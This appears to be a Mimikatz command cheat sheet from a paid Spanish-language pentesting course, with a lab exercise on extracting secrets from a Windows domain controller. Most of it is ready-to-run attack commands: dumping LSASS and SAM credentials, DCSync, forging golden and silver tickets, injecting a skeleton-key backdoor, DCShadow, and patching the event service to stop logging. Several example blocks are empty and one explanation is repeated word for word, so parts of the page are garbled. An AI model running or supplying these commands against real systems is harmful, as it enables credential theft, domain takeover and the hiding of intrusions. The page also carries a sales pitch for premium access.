Comandos
Comunes
token::elevate
token::revert
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>Dump Hashes
.\mimikatz.exe
sekurlsa::minidump /users/admin/Desktop/lsass.DMP
sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_createPass the Ticket
Forging Golden Ticket
Skeleton Key
Powershell
Extracción de credenciales
LM and Clear-Text in memory
From Windows 8.1 and Windows Server 2012 R2 onwards, significant measures have been implemented to safeguard against credential theft:
LM hashes and plain-text passwords are no longer stored in memory to enhance security. A specific registry setting, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" must be configured with a DWORD value of
0to disable Digest Authentication, ensuring "clear-text" passwords are not cached in LSASS.LSA Protection is introduced to shield the Local Security Authority (LSA) process from unauthorized memory reading and code injection. This is achieved by marking the LSASS as a protected process. Activation of LSA Protection involves:
Modifying the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa by setting
RunAsPPLtodword:00000001.Implementing a Group Policy Object (GPO) that enforces this registry change across managed devices.
Despite these protections, tools like Mimikatz can circumvent LSA Protection using specific drivers, although such actions are likely to be recorded in event logs.
Counteracting SeDebugPrivilege Removal
Administrators typically have SeDebugPrivilege, enabling them to debug programs. This privilege can be restricted to prevent unauthorized memory dumps, a common technique used by attackers to extract credentials from memory. However, even with this privilege removed, the TrustedInstaller account can still perform memory dumps using a customized service configuration:
bash
This allows the dumping of the lsass.exe memory to a file, which can then be analyzed on another system to extract credentials:
Mimikatz Options
Event log tampering in Mimikatz involves two primary actions: clearing event logs and patching the Event service to prevent logging of new events. Below are the commands for performing these actions:
Clearing Event Logs
Command: This action is aimed at deleting the event logs, making it harder to track malicious activities.
Mimikatz does not provide a direct command in its standard documentation for clearing event logs directly via its command line. However, event log manipulation typically involves using system tools or scripts outside of Mimikatz to clear specific logs (e.g., using PowerShell or Windows Event Viewer).
Experimental Feature: Patching the Event Service
Command:
event::dropThis experimental command is designed to modify the Event Logging Service's behavior, effectively preventing it from recording new events.
Example:
mimikatz "privilege::debug" "event::drop" exitThe
privilege::debugcommand ensures that Mimikatz operates with the necessary privileges to modify system services.The
event::dropcommand then patches the Event Logging service.
Kerberos Ticket Attacks
Golden Ticket Creation
A Golden Ticket allows for domain-wide access impersonation. Key command and parameters:
Command:
kerberos::goldenParameters:
/domain: The domain name./sid: The domain's Security Identifier (SID)./user: The username to impersonate./krbtgt: The NTLM hash of the domain's KDC service account./ptt: Directly injects the ticket into memory./ticket: Saves the ticket for later use.
Example:
Silver Ticket Creation
Silver Tickets grant access to specific services. Key command and parameters:
Command: Similar to Golden Ticket but targets specific services.
Parameters:
/service: The service to target (e.g., cifs, http).Other parameters similar to Golden Ticket.
Example:
Trust Ticket Creation
Trust Tickets are used for accessing resources across domains by leveraging trust relationships. Key command and parameters:
Command: Similar to Golden Ticket but for trust relationships.
Parameters:
/target: The target domain's FQDN./rc4: The NTLM hash for the trust account.
Example:
Additional Kerberos Commands
Listing Tickets:
Command:
kerberos::listLists all Kerberos tickets for the current user session.
Pass the Cache:
Command:
kerberos::ptcInjects Kerberos tickets from cache files.
Example:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Pass the Ticket:
Command:
kerberos::pttAllows using a Kerberos ticket in another session.
Example:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Purge Tickets:
Command:
kerberos::purgeClears all Kerberos tickets from the session.
Useful before using ticket manipulation commands to avoid conflicts.
Active Directory Tampering
DCShadow: Temporarily make a machine act as a DC for AD object manipulation.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Mimic a DC to request password data.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Credential Access
LSADUMP::LSA: Extract credentials from LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Impersonate a DC using a computer account's password data.
No specific command provided for NetSync in original context.
LSADUMP::SAM: Access local SAM database.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Decrypt secrets stored in the registry.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Set a new NTLM hash for a user.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Retrieve trust authentication information.
mimikatz "lsadump::trust" exit
Miscellaneous
MISC::Skeleton: Inject a backdoor into LSASS on a DC.
mimikatz "privilege::debug" "misc::skeleton" exit
Privilege Escalation
PRIVILEGE::Backup: Acquire backup rights.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Obtain debug privileges.
mimikatz "privilege::debug" exit
Credential Dumping
SEKURLSA::LogonPasswords: Show credentials for logged-on users.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Extract Kerberos tickets from memory.
mimikatz "sekurlsa::tickets /export" exit
Sid and Token Manipulation
SID::add/modify: Change SID and SIDHistory.
Add:
mimikatz "sid::add /user:targetUser /sid:newSid" exitModify: No specific command for modify in original context.
TOKEN::Elevate: Impersonate tokens.
mimikatz "token::elevate /domainadmin" exit
Terminal Services
TS::MultiRDP: Allow multiple RDP sessions.
mimikatz "ts::multirdp" exit
TS::Sessions: List TS/RDP sessions.
No specific command provided for TS::Sessions in original context.
Vault
Extract passwords from Windows Vault.
mimikatz "vault::cred /patch" exit
Vamos a desglosar cada parte del comando para entender mejor los procesos y tecnologías involucrados:
.\mimikatz.exe: Este es el comando para ejecutar Mimikatz.
.\indica que Mimikatz se ejecuta desde el directorio actual en la línea de comandos de Windows.'privilege::debug': Este comando en Mimikatz solicita privilegios de depuración para el proceso Mimikatz. Los privilegios de depuración son necesarios para acceder a ciertas áreas de la memoria del sistema operativo y realizar operaciones que normalmente están restringidas.
'token::elevate': Este comando intenta elevar los privilegios de Mimikatz. En el contexto de Mimikatz, esto generalmente significa obtener un token de seguridad de un proceso con privilegios más altos, permitiendo que Mimikatz opere con esos privilegios elevados.
'sekurlsa::logonpasswords': Este comando extrae las contraseñas y otros datos de autenticación de la memoria del sistema, específicamente desde la seguridad de Kerberos, SSP, msv1_0, entre otros. Utiliza el módulo sekurlsa de Mimikatz para acceder a la información almacenada por el proceso LSASS (Local Security Authority Subsystem Service).
'lsadump::sam': Este comando extrae las credenciales almacenadas en la base de datos SAM (Security Accounts Manager). La SAM contiene las credenciales de todos los usuarios locales del sistema y se utiliza generalmente para obtener hashes de contraseñas de cuentas locales.
'lsadump::secrets': Este comando se utiliza para extraer "secretos" almacenados por el sistema, como claves de acceso y otros datos sensibles, que pueden estar almacenados en el registro o en el servicio LSASS.
Extraccion de credenciales con Mimikatz con binarioPara llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!
OBJETIVO DEL EJERCICIO #6:
Utilizar mimikatz en formato de binario sobre Windows para exfiltrar secretos. Para realizarlo es suficiente tener encendido UNICAMENTE
WEBSERVERyFirst-DC.Pros y Contras de ejecutar Mimikatz con mimikatz.exeProsFuncionalidad Completa: La versión ejecutable suele tener todas las funciones de Mimikatz disponibles y está actualizada con las últimas características.
Rapidez: Al ejecutar el binario directamente, se suele tener una ejecución más rápida y directa de las funciones deseadas.
ContrasDetección: Es más probable que los antivirus y las herramientas de seguridad modernas detecten la versión ejecutable debido a sus firmas conocidas.
Necesidad de Escritura en el Disco: A menos que se cargue en la memoria de manera especial, es probable que requiera ser escrito en el disco para su ejecución, lo que aumenta el riesgo de detección y deja evidencia forense.
Bloqueo por Políticas de Seguridad: Políticas de grupo y configuraciones de seguridad de Windows pueden impedir la ejecución de binarios desconocidos o no firmados.
Vamos a desglosar cada parte del comando para entender mejor los procesos y tecnologías involucrados:
.\mimikatz.exe: Este es el comando para ejecutar Mimikatz.
.\indica que Mimikatz se ejecuta desde el directorio actual en la línea de comandos de Windows.'privilege::debug': Este comando en Mimikatz solicita privilegios de depuración para el proceso Mimikatz. Los privilegios de depuración son necesarios para acceder a ciertas áreas de la memoria del sistema operativo y realizar operaciones que normalmente están restringidas.
'token::elevate': Este comando intenta elevar los privilegios de Mimikatz. En el contexto de Mimikatz, esto generalmente significa obtener un token de seguridad de un proceso con privilegios más altos, permitiendo que Mimikatz opere con esos privilegios elevados.
'sekurlsa::logonpasswords': Este comando extrae las contraseñas y otros datos de autenticación de la memoria del sistema, específicamente desde la seguridad de Kerberos, SSP, msv1_0, entre otros. Utiliza el módulo sekurlsa de Mimikatz para acceder a la información almacenada por el proceso LSASS (Local Security Authority Subsystem Service).
'lsadump::sam': Este comando extrae las credenciales almacenadas en la base de datos SAM (Security Accounts Manager). La SAM contiene las credenciales de todos los usuarios locales del sistema y se utiliza generalmente para obtener hashes de contraseñas de cuentas locales.
'lsadump::secrets': Este comando se utiliza para extraer "secretos" almacenados por el sistema, como claves de acceso y otros datos sensibles, que pueden estar almacenados en el registro o en el servicio LSASS.
Última actualización